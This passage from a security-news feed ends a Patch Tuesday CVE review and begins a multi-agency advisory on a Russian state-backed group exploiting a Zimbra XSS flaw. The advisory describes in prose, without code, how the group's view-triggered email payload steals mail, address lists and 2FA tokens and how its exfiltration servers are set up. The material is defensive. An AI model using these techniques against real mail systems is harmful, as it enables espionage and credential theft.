  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
